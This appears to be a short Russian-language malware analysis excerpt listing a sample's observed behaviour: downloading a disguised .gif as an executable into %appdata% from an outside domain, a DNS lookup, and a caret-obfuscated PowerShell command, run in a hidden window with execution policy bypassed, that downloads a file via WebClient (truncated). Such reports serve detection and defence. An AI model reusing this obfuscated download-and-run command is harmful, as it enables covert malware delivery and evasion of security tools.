Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "pOwE^RS^HELL^.^eXe^ -e^XECU^TI^Onp^O^LicY ^bYpaSs ^-no^PrO^F^I^lE -^w^In^DOwS^tY^le HId^DeN^ (n^e^w-OBj^eCT^ sys^Tem.n^et.wE^B^CL^IenT^).^DowNLOADF^iL^E(^'http://www.zoerpoled...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /C "pOwE^RS^HELL^.^eXe^ -e^XECU^TI^Onp^O^LicY ^bYpaSs ^-no^PrO^F^I^lE -^w^In^DOwS^tY^le HId^DeN^ (n^e^w-OBj^eCT^ sys^Tem.n^et.wE^B^CL^IenT^).^DowNLOADF^iL^E(^'http://www.zoerpoled...' (со скрытым окном)